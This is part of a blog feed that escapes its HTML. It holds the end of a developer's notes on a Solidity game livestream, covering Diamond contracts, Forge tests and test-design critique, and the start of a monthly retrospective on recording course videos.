&lt;/li>
&lt;/ul>
&lt;p>&lt;em>&lt;strong>Note from Michael&lt;/strong>: Solidity continues to gross me out. In a domain where correctness and readability is critical, Solidity introduces tons of needless footguns and gotchas. It&amp;rsquo;s like they studied C++ and JavaScript tirelessly in order to adopt the absolute worst features from those languages.&lt;/em>&lt;/p>
&lt;h2 id="diamond">Diamond&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://eips.ethereum.org/EIPS/eip-2535">Diamond&lt;/a> is a framework for deploying smart contacts that are mutable after publication.
&lt;ul>
&lt;li>Normally, Ethereum smart contracts are immutable once they&amp;rsquo;re deployed.&lt;/li>
&lt;li>Diamonds offer &amp;ldquo;upgradeable&amp;rdquo; smart contracts, so you can change them after they&amp;rsquo;re deployed.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Diamonds weakens guarantees of smart contract, but it facilitates iteration for projects like Stoke Fire.&lt;/li>
&lt;li>&amp;ldquo;Facets&amp;rdquo; are (I think) the modifiable parts of the smart contract.&lt;/li>
&lt;/ul>
&lt;p>&lt;em>&lt;strong>Note from Michael&lt;/strong>: Managing facets &lt;a href="https://www.youtube.com/live/iwYNWwHg_tY?feature=shared&amp;amp;t=3160">seems tedious&lt;/a> and is the most brittle part of the code Noah showed. He has to manually declare several different arrays and then manually index into them when adding new facets, at one point struggling for a while to match the facet count to the array size in a buried declaration. Commenters in the chat said you can use helpers to get facets automatically, so maybe there&amp;rsquo;s an easier way of achieving this.&lt;/em>&lt;/p>
&lt;h2 id="forge">Forge&lt;/h2>
&lt;ul>
&lt;li>Noah is testing his smart contract logic using &lt;a href="https://book.getfoundry.sh/reference/forge/forge">Forge&lt;/a>.&lt;/li>
&lt;li>Noah felt positively about Forge.
&lt;ul>
&lt;li>He likes that Forge allows him to write tests in Solidity because he can share a lot of code with his production smart contracts.&lt;/li>
&lt;li>Forge makes it easy to test different blockchain conditions like timestamps and wallet balance.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Noah had trouble parsing Forge&amp;rsquo;s output at times, and I personally found it extremely noisy and difficult to read.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;figure class="img" style="max-width: 600px">
 
 
 
 &lt;a href="https://mtlynch.io/notes/noah-bragg-stokefire-1/forge-output.png">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/notes/noah-bragg-stokefire-1/forge-output_hu_a440ec250c20cdc1.png 300w, https://mtlynch.io/notes/noah-bragg-stokefire-1/forge-output_hu_329a45d4ed022ed.png 600w, https://mtlynch.io/notes/noah-bragg-stokefire-1/forge-output_hu_eab486fa4735fdf7.png 800w, https://mtlynch.io/notes/noah-bragg-stokefire-1/forge-output_hu_b320614e7bc4d442.png 1200w, https://mtlynch.io/notes/noah-bragg-stokefire-1/forge-output.png 1280w'
 src="https://mtlynch.io/notes/noah-bragg-stokefire-1/forge-output.png" alt="" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;figcaption>&lt;p>I found Forge&amp;rsquo;s test output very noisy&lt;/p>&lt;/figcaption>
 &lt;/figure>
 

&lt;ul>
&lt;li>When an assert fails in Forge, it doesn&amp;rsquo;t print the line number that caused the failure. At &lt;a href="https://www.youtube.com/live/iwYNWwHg_tY?feature=shared&amp;amp;t=5055">one point in the stream&lt;/a>, the failure Forge prints is just &lt;code>5 != 4&lt;/code>, and it&amp;rsquo;s on the developer to figure out where the assertion is in source. I&amp;rsquo;ve never seen a test framework &lt;em>not&lt;/em> print out the line number of where an assertion failed.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>In order to assert that Noah&amp;rsquo;s production code threw a particular error, he &lt;a href="https://www.youtube.com/live/iwYNWwHg_tY?feature=shared&amp;amp;t=5473">has to redefine the error in his test code&lt;/a>, which I found strange.&lt;/li>
&lt;/ul>
&lt;h2 id="warpcast-has-a-web-app">Warpcast has a web app&lt;/h2>
&lt;ul>
&lt;li>Farcaster is like the Ethereum equivalent of Twitter or Mastodon.&lt;/li>
&lt;li>Farcaster makes it look like Warpcast is mobile-only, but I realized from Noah&amp;rsquo;s stream that Warpcast has &lt;a href="https://warpcast.com/">a web app&lt;/a>.
&lt;ul>
&lt;li>I think you still need the mobile app to create your account.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="streaming">Streaming&lt;/h2>
&lt;ul>
&lt;li>Noah had a peak of 250 viewers.
&lt;ul>
&lt;li>At the end, it turns out he&amp;rsquo;s not sure if this is concurrent viewers or the total aggregate count that tuned into the stream at any point.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Most viewers came from Twitter.&lt;/li>
&lt;li>He was admittedly rusty at livestreaming and had a lot of dead air during the stream.&lt;/li>
&lt;/ul>
&lt;h2 id="opportunities-for-improvement">Opportunities for improvement&lt;/h2>
&lt;h3 id="convenience-dev-scripts">Convenience dev scripts&lt;/h3>
&lt;p>Noah at one point got stuck for several minutes trying to remember how to run tests for a single test rather than executing his full test suite every time. He eventually found the syntax, with help from users in the chat:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>forge &lt;span style="color:#24909d">test&lt;/span> --match-contract BuildFacetTest -vvvv
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>For difficult-to-remember command-line syntax, I suggest writing a convenience script and storing it in the repo. Instead of remembering the right syntax for running a single test across the many tech stacks you work on, you&amp;rsquo;d run a command like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>./dev-scripts/run-single-test BuildFacetTest
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I &lt;a href="https://github.com/mtlynch/picoshare/blob/master/dev-scripts/run-single-test">do this&lt;/a> with several of my repos.&lt;/p>
&lt;p>Noah is already using &lt;code>make&lt;/code>, so these could instead be &lt;code>make&lt;/code> commands.&lt;/p>
&lt;h3 id="make-tests-more-maintainable">Make tests more maintainable&lt;/h3>
&lt;p>Noah&amp;rsquo;s final integration test for the build hut feature looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-solidity" data-lang="solidity">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">function&lt;/span> &lt;span style="color:#447fcf">testBuildHut&lt;/span>() &lt;span style="color:#6ab825;font-weight:bold">public&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vm.prank(USER);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ResourceFacet(&lt;span style="color:#6ab825;font-weight:bold">address&lt;/span>(diamond)).chopWood(&lt;span style="color:#3677a9">1&lt;/span>, someWhatRandNum);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vm.warp (&lt;span style="color:#3677a9">1719981068&lt;/span> + &lt;span style="color:#3677a9">1&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">days&lt;/span>); &lt;span style="color:#999;font-style:italic">//set the block time to the future so I can chop wood again
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vm.prank(USER);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ResourceFacet(&lt;span style="color:#6ab825;font-weight:bold">address&lt;/span>(diamond)).chopWood(&lt;span style="color:#3677a9">1&lt;/span>, someWhatRandNum);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vm.prank(USER);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> BuildFacet(&lt;span style="color:#6ab825;font-weight:bold">address&lt;/span>(diamond)).buildHut(&lt;span style="color:#3677a9">1&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Village &lt;span style="color:#6ab825;font-weight:bold">memory&lt;/span> village = VillageFacet(&lt;span style="color:#6ab825;font-weight:bold">address&lt;/span>(diamond)).getVillage(&lt;span style="color:#3677a9">1&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> assertEq(village.timeLastChoppedWood, &lt;span style="color:#24909d">block&lt;/span>.&lt;span style="color:#24909d">timestamp&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> assertGe(village.wood, &lt;span style="color:#3677a9">4&lt;/span>); &lt;span style="color:#999;font-style:italic">//at minimum 2 wood per chop.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> assertLe(village.wood, &lt;span style="color:#3677a9">12&lt;/span>); &lt;span style="color:#999;font-style:italic">//at maximun 6 wood per chop.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> assertEq(village.huts, &lt;span style="color:#3677a9">1&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I see a few opportunities for improvement with this test.&lt;/p>
&lt;p>First, the test depends on a pseudorandom number generator (PRNG) that makes the logic really confusing. For the tests, Noah has seeded the PRNG to a fixed value so that the random sequences repeat from test to test, but it still makes the test logic difficult to follow.&lt;/p>
&lt;p>In the stream, Noah had to keep blindly adding wood chops to the test to see when it would pass. He finally just changed the random seed to a different value so that the test would pass with only two chops. And that&amp;rsquo;s why the test can&amp;rsquo;t assert the exact amount of remaining wood; it&amp;rsquo;s just guessing that it&amp;rsquo;s within some range. It&amp;rsquo;s impossible to &lt;a href="https://mtlynch.io/good-developers-bad-tests/#test-code-is-not-like-other-code">verify the correctness of this test&lt;/a> without actually executing it.&lt;/p>
&lt;p>If I were working on the code, I&amp;rsquo;d probably mock out the wood chopping functionality for a test implementation that lets me define the exact amount of wood to emit per chop. Or, if we wanted to exercise the real wood emitting code, use a fake random number generator that emits a specific sequence of numbers rather than hardcoding a seed.&lt;/p>
&lt;p>The other issue is that a lot of the function parameters are unreadable at the callsite. Like &lt;code>buildHut(1)&lt;/code> or &lt;code>chopWood(1, ...)&lt;/code>, it&amp;rsquo;s unclear what the &lt;code>1&lt;/code> represents and whether the several &lt;code>1&lt;/code> magic numbers in the test refer to the same value or just happen to all equal 1.&lt;/p>
&lt;h2 id="unanswered-questions">Unanswered questions&lt;/h2>
&lt;h3 id="why-blockchain">Why blockchain?&lt;/h3>
&lt;p>My biggest question at the end of the stream was: why blockchain?&lt;/p>
&lt;p>Noah mentioned that he wanted to try something more original on the blockchain, and that&amp;rsquo;s what got me interested, but I still can&amp;rsquo;t figure out how the blockchain helps.&lt;/p>
&lt;p>So far, it seems like the blockchain is making everything 10x more complicated and doesn&amp;rsquo;t offer any benefit over just sticking everything in a single-instance SQLite database.&lt;/p>
&lt;p>Similarly, I don&amp;rsquo;t yet have an answer to the question I was hoping to answer of, &amp;ldquo;What the heck is Base?&amp;rdquo; I&amp;rsquo;m still not sure why Noah is building on Base rather than directly on Ethereum or some other chain. He mentioned Coinbase&amp;rsquo;s investment, but I don&amp;rsquo;t understand what that means for developers like Noah.&lt;/p>
&lt;h3 id="my-what-large-ints-you-have">My, what large ints you have!&lt;/h3>
&lt;p>I noticed that Noah frequently uses &lt;code>uint256&lt;/code> in places where it seems like massive overkill, like timestamps or counts of wood. When the game currently awards 2-4 pieces of wood per &amp;ldquo;chop&amp;rdquo; action, it&amp;rsquo;s hard to imagine needing to store the result in a &lt;code>uint256&lt;/code>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/noah-bragg-stokefire-1/uint256.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/noah-bragg-stokefire-1/uint256_hu_2f72a0ee47f30d91.png 300w, https://mtlynch.io/notes/noah-bragg-stokefire-1/uint256_hu_d74decd7cd76a2a2.png 600w, https://mtlynch.io/notes/noah-bragg-stokefire-1/uint256_hu_bdf344ddd0750f09.png 800w, https://mtlynch.io/notes/noah-bragg-stokefire-1/uint256_hu_11c661ff190a1c57.png 1200w, https://mtlynch.io/notes/noah-bragg-stokefire-1/uint256.png 1280w'
 src="https://mtlynch.io/notes/noah-bragg-stokefire-1/uint256.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Don&amp;rsquo;t such large integer types increase gas fees?&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>From working on &lt;a href="https://github.com/mtlynch/zenith">my own EVM implementation&lt;/a>, I know the Ethereum network charges for data that has to be processed, &lt;del>so pushing a 256-bit value onto the stack is 8x more expensive than pushing a 32-bit word.&lt;/del> (Edit: Pushing a 256-bit word and a 32-bit word actually cost the same. Thanks to a14u for the correction.)&lt;/p>
&lt;p>I&amp;rsquo;m not sure if this is just an oversight, or if the gas fees are actually less than I imagine.&lt;/p>
&lt;h3 id="why-the-underscores">Why the underscores?&lt;/h3>
&lt;p>Noah is using a naming convention where he prepends all function parameter names with underscores.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/noah-bragg-stokefire-1/underscores.webp">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/noah-bragg-stokefire-1/underscores_hu_4fa51cca69d8f32.webp 300w, https://mtlynch.io/notes/noah-bragg-stokefire-1/underscores_hu_b06adde435af52cb.webp 600w, https://mtlynch.io/notes/noah-bragg-stokefire-1/underscores_hu_8b38d29b277f1cbc.webp 800w, https://mtlynch.io/notes/noah-bragg-stokefire-1/underscores_hu_102bc6e7148a5837.webp 1200w, https://mtlynch.io/notes/noah-bragg-stokefire-1/underscores.webp 1280w'
 src="https://mtlynch.io/notes/noah-bragg-stokefire-1/underscores.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I&amp;rsquo;ve never seen the convention of preprending function paramter names with underscores, and I&amp;rsquo;m not sure why Noah is doing it.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I recognize this convention from Python and JavaScript to hint to the reader that the variable is private/protected, but aren&amp;rsquo;t function argments already private? I&amp;rsquo;ve never seen this convention before in my admittedly limited reading of Solidity code.&lt;/p></content:encoded></item><item><title>Educational Products: Month 2</title><link>https://mtlynch.io/retrospectives/2024/08/</link><pubDate>Wed, 07 Aug 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2024/08/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I learned a few techniques that make it easier for me to record videos for my course.&lt;/li>
&lt;li>I&amp;rsquo;ve decided I don&amp;rsquo;t need to use a Merchant of Record service.&lt;/li>
&lt;li>I&amp;rsquo;ve integrated &lt;a href="https://htmx.org">htmx&lt;/a> into my standard toolkit for making web applications.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="record-publishable-versions-of-four-lessons-from-the-course">Record publishable versions of four lessons from the course&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Recorded most of one lesson&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>I forgot how long it takes to record videos! And I underestimated the amount of work I had outside of recording. Most weeks, I didn&amp;rsquo;t have time to record at all, but now I&amp;rsquo;m in the swing of recording.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I learned a few techniques that make it easier for me to record videos for my course.&lt;/li>
&lt;li>I&amp;rsquo;ve decided I don&amp;rsquo;t need to use a Merchant of Record service.&lt;/li>
&lt;li>I&amp;rsquo;ve integrated &lt;a href="https://htmx.org">htmx&lt;/a> into my standard toolkit for making web applications.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="record-publishable-versions-of-four-lessons-from-the-course">Record publishable versions of four lessons from the course&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Recorded most of one lesson&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>I forgot how long it takes to record videos! And I underestimated the amount of work I had outside of recording. Most weeks, I didn&amp;rsquo;t have time to record at all, but now I&amp;rsquo;m in the swing of recording.&lt;/p>
&lt;p>I can record five to ten minutes of usable footage per hour of recording, and I get exhausted from recording after 90-120 minutes. On a focused week, I recorded a complete 45-minute lesson, but I can speed up now that I&amp;rsquo;ve finished teaching my live course.&lt;/p>
&lt;h3 id="start-selling-the-new-version-of-the-course">Start selling the new version of the course&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Did a &lt;a href="https://hitthefrontpage.com/#section-sign-up">waitlist&lt;/a> instead of selling a partial course.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: N/A&lt;/li>
&lt;/ul>
&lt;p>I decided to hold off on selling the new course. I initially thought I&amp;rsquo;d offer the new version and advertise the course as discounted for early access while I work on it but offer the old 2020 recordings in the meantime. I realized that it&amp;rsquo;s hard to package that in a clean way.&lt;/p>
&lt;p>I might not finish the course by the time my wife goes into labor, and I want to take a few months of paternity leave when the baby arrives. I don&amp;rsquo;t want to feel like I owe students the rest of the material they purchased while I&amp;rsquo;m on leave, so I decided to offer &lt;a href="https://hitthefrontpage.com/#section-sign-up">a waitlist&lt;/a> instead of a pre-order.&lt;/p>
&lt;h2 id="improvements-in-recording-videos">Improvements in recording videos&lt;/h2>
&lt;p>When I&amp;rsquo;m recording videos for my course, there are a lot of things that can interrupt a recording session or prevent me from recording at all. I&amp;rsquo;ve been working on reducing the friction to recording so that I can start recording more quickly and make myself less vulnerable to interruptions.&lt;/p>
&lt;h3 id="get-a-desk-tripod">Get a desk tripod&lt;/h3>
&lt;p>For video recording, I use a Razer Kiyo webcam that sits on top of my monitor. The problem is that getting the camera to a good height requires a lot of manual adjustment.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 200px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/08/razer-kiyo-webcam.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 200px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/08/razer-kiyo-webcam_hu_df31cd38b6edc23d.webp 300w, https://mtlynch.io/retrospectives/2024/08/razer-kiyo-webcam_hu_d6fe615fc398ae3.webp 600w, https://mtlynch.io/retrospectives/2024/08/razer-kiyo-webcam.webp 657w'
 src="https://mtlynch.io/retrospectives/2024/08/razer-kiyo-webcam.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I use a Razer Kiyo webcam for recording.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I normally keep my desktop monitor so that the center of my monitor is roughly at my eye level. But if my monitor is at eye level and the webcam sits on top of the monitor, then the camera angle is looking down on me.&lt;/p>
&lt;p>To get a good camera angle, I was adjusting my monitor arm and desk height to keep the camera level with my eyes. But moving my monitor around added a lot of friction to recording, and I couldn&amp;rsquo;t ever reproduce the exact camera position from one recording session to the next.&lt;/p>
&lt;p>I solved my camera problem with a small, desk-sized tripod: the &lt;a href="https://www.bhphotovideo.com/c/product/1799670-REG/smallrig_aluminum_mini_tripod_vt_20.html">SmallRig VT-20&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/08/desk-tripod.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/08/desk-tripod_hu_b1d0fc51ba954814.webp 300w, https://mtlynch.io/retrospectives/2024/08/desk-tripod_hu_f5c3def444e9118.webp 600w, https://mtlynch.io/retrospectives/2024/08/desk-tripod_hu_9a24e842b74c0ecc.webp 800w, https://mtlynch.io/retrospectives/2024/08/desk-tripod_hu_2a0bbbad6fe976c3.webp 1200w, https://mtlynch.io/retrospectives/2024/08/desk-tripod.webp 1200w'
 src="https://mtlynch.io/retrospectives/2024/08/desk-tripod.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I bought a desktop tripod so that I don&amp;rsquo;t have to reposition my desk or monitor to begin recording.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I keep the tripod between me and my monitor during recording sessions. I marked the position of the legs on my desk with painter&amp;rsquo;s tape so that I can reproduce the position each time.&lt;/p>
&lt;p>Having the tripod means that when I want to record, I just drop the tripod and camera on my desk, and the position is instantly correct. It&amp;rsquo;s a big win in terms of reducing friction, and it&amp;rsquo;s also nice to record with my normal desk setup rather than fiddling with the heights of everything before and after each session.&lt;/p>
&lt;p>The one downside of the tripod is that it partially obstructs my view of my slides, but by the time I&amp;rsquo;m recording, I&amp;rsquo;ve memorized them anyway.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 







&lt;div class="img" style="max-width: 354px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/08/mounted-on-monitor.webp">
 &lt;img
 
 sizes="(min-width: 768px) 354px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/08/mounted-on-monitor_hu_352cf5229fc34bd1.webp 300w, https://mtlynch.io/retrospectives/2024/08/mounted-on-monitor.webp 550w'
 src="https://mtlynch.io/retrospectives/2024/08/mounted-on-monitor.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/08/mounted-on-tripod.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/08/mounted-on-tripod_hu_ed0bb1c6e6e83450.webp 300w, https://mtlynch.io/retrospectives/2024/08/mounted-on-tripod_hu_1b9370bae007c111.webp 600w, https://mtlynch.io/retrospectives/2024/08/mounted-on-tripod.webp 620w'
 src="https://mtlynch.io/retrospectives/2024/08/mounted-on-tripod.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Mounting the webcam on top of my monitor (left) vs on a desk tripod in front of my monitor (right). The tripod makes it easier for me to look directly into the camera.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h3 id="keep-recording-equipment-connected">Keep recording equipment connected&lt;/h3>
&lt;p>I used to keep my webcam in a drawer between recording sessions. I&amp;rsquo;d keep the microphone and arm in another room. That meant that the first five minutes of every recording session were me just gathering equipment and setting it up on my desk.&lt;/p>
&lt;p>Instead, I now keep as much of my equipment connected and ready to record as possible. I keep my microphone on my desk with the mic already hooked up. And I keep my webcam set up on my tripod, ready to drop on my desk.&lt;/p>
&lt;h3 id="record-in-chapters">Record in chapters&lt;/h3>
&lt;p>As part of my research for the course, I watched Aaron Francis&amp;rsquo; &lt;a href="https://screencasting.com">screencasting course&lt;/a>. His focus is more on live-coding, but enough of the material translates to my course that it was worth the purchase.&lt;/p>
&lt;p>I found Aaron&amp;rsquo;s course helpful, but some of the best lessons weren&amp;rsquo;t even things that he said. I learned a lot simply from seeing how Aaron packaged his course.&lt;/p>
&lt;p>The first iteration of my course consisted of seven lessons that were 30-60 minutes each. Aaron&amp;rsquo;s lessons are roughly the same length, but he subdivides his lessons into separate chapters of only a few minutes each.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/08/aaron-chapters.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/08/aaron-chapters_hu_2881ffcfc403f184.png 300w, https://mtlynch.io/retrospectives/2024/08/aaron-chapters_hu_34d374fb61579c33.png 600w, https://mtlynch.io/retrospectives/2024/08/aaron-chapters_hu_6f9718ee08ff973e.png 800w, https://mtlynch.io/retrospectives/2024/08/aaron-chapters.png 902w'
 src="https://mtlynch.io/retrospectives/2024/08/aaron-chapters.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Aaron Francis divides &lt;a href="https://screencasting.com">his lessons&lt;/a> into short chapters, where each chapter is only a few minutes long.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>As a student, I like the short-chapter approach, as it lets me skip to the chapters I&amp;rsquo;m most interested in.&lt;/p>
&lt;p>As a course creator, I also appreciate short chapters because it&amp;rsquo;s easier to record and edit 10 four-minute videos than it is to make a larger, more unwieldy 40-minute video. Also, when I&amp;rsquo;m working on videos, it feels better to have five chapters that are 100% complete than to be halfway through editing a 40-minute video.&lt;/p>
&lt;h3 id="make-lessons-order-independent">Make lessons order-independent&lt;/h3>
&lt;p>When I recorded my course in 2020, my videos all started with something like, &amp;ldquo;Welcome to part 2: Understanding Hacker News.&amp;rdquo; And I&amp;rsquo;d end each video by saying, &amp;ldquo;In the next video, I&amp;rsquo;ll talk about how to choose topics to write about.&amp;rdquo;&lt;/p>
&lt;p>Dividing the lessons into chapters for the new recordings naturally meant a larger quantity of videos. If I reorder or delete a video later in the editing process, that would mean re-doing a bunch of intros and outros to keep the numbering and links correct.&lt;/p>
&lt;p>After watching Aaron Francis&amp;rsquo; course, I realized he never implies an ordering in his videos. I decided to remove the lesson numbers from my videos and avoid mentioning any order. When I reference something that&amp;rsquo;s in another lesson, I just say, &amp;ldquo;I talk about that more in the Foo video,&amp;rdquo; rather than saying, &amp;ldquo;a later video.&amp;rdquo;&lt;/p>
&lt;h3 id="buy-three-of-the-same-shirt">Buy three of the same shirt&lt;/h3>
&lt;p>One of the tips from Aaron Francis&amp;rsquo; course is to keep a consistent look through every lesson. He wears a solid black T-shirt in all of his videos, and I thought it was a nice touch.&lt;/p>
&lt;p>I originally set aside a shirt that I&amp;rsquo;d change into before each recording session and remove afterwards. I figured that when I put on a shirt on a normal day, I wear it for about 14 hours before I put it in the laundry before bed. That meant I should be able to do about 14 one-hour recording sessions with the same shirt before I have to wash it.&lt;/p>
&lt;p>It turned out that I had an inaccurate mental model of shirt smelliness. After just three recording sessions, my shirt began feeling gross.&lt;/p>
&lt;p>So, I just bought three of the same shirt:&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 383px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/08/bonobos-tees.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 383px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/08/bonobos-tees_hu_9ae4bd99a3cc67da.webp 300w, https://mtlynch.io/retrospectives/2024/08/bonobos-tees.webp 381w'
 src="https://mtlynch.io/retrospectives/2024/08/bonobos-tees.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I ordered three of the same T-shirt for video continuity.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It&amp;rsquo;s a simple navy Bonobos T-shirt, the same style that I&amp;rsquo;d wear on a normal day. I figure that having three will mean that at least one is available, even if two are in the laundry.&lt;/p>
&lt;h2 id="magic-moments-from-the-live-course">Magic moments from the live course&lt;/h2>
&lt;p>I&amp;rsquo;ve finished teaching all six sessions of my live version of the blogging course, and I had fun teaching it, but there were two moments in particular that stood out.&lt;/p>
&lt;h3 id="bringing-in-a-guest-speaker">Bringing in a guest speaker&lt;/h3>
&lt;p>As I was preparing for the first lecture of the course, I saw Adam Gordon Bell &lt;a href="https://twitter.com/adamgordonbell/status/1805266602096574673">announce on Twitter&lt;/a> that his employer had laid him off. Adam is the host of &lt;a href="https://corecursive.com/">CoRecursive&lt;/a>, one of my favorite software podcasts. He&amp;rsquo;s also a blogger, and he was responsible for &lt;a href="https://hn.algolia.com/?dateRange=all&amp;amp;page=0&amp;amp;prefix=true&amp;amp;query=earthly.dev&amp;amp;sort=byPopularity&amp;amp;type=story">the most popular blog posts&lt;/a> at his former employer.&lt;/p>
&lt;p>Adam had been part of the pilot group of students when I taught the same course in 2020. Seeing that his schedule had suddenly opened up, I asked if he&amp;rsquo;d like to return to the course as a special guest for a Q&amp;amp;A, and he graciously agreed to join the following week.&lt;/p>
&lt;p>The timing was incredible because at the moment he joined the video call in my course, &amp;ldquo;Hit the Front Page of Hacker News,&amp;rdquo; Adam had just landed in the #1 slot on Hacker News for &lt;a href="https://news.ycombinator.com/item?id=40874013">his interview with Jeffrey Snover&lt;/a>, the lead architect of PowerShell.&lt;/p>
&lt;p>The interview was fun for me because I&amp;rsquo;ve read a lot of Adam&amp;rsquo;s writing, so it was fascinating to peek behind the curtain and hear more about his approach and how he&amp;rsquo;s adjusted it over the years.&lt;/p>
